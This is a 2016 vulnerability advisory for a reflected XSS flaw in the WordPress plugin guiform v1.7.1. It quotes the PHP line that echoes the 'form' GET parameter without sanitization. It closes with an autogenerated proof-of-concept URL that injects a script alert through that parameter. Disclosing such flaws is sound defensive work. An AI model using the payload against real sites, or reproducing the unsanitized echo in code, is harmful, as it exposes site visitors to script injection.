Advisory #: 767
Title: Reflected XSS in wordpress plugin guiform v1.7.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/guiform
Downloads: 14314
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: guiform
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./guiform/classes/GuiForm/Render/View.php: 285: <input type="hidden" id="form" value="<?php echo $_GET['form']; ?>"> The variable form appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./guiform/classes/GuiForm/Render/View.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/guiform/classes/GuiForm/Render/View.php?form="><script>alert(1);</script><"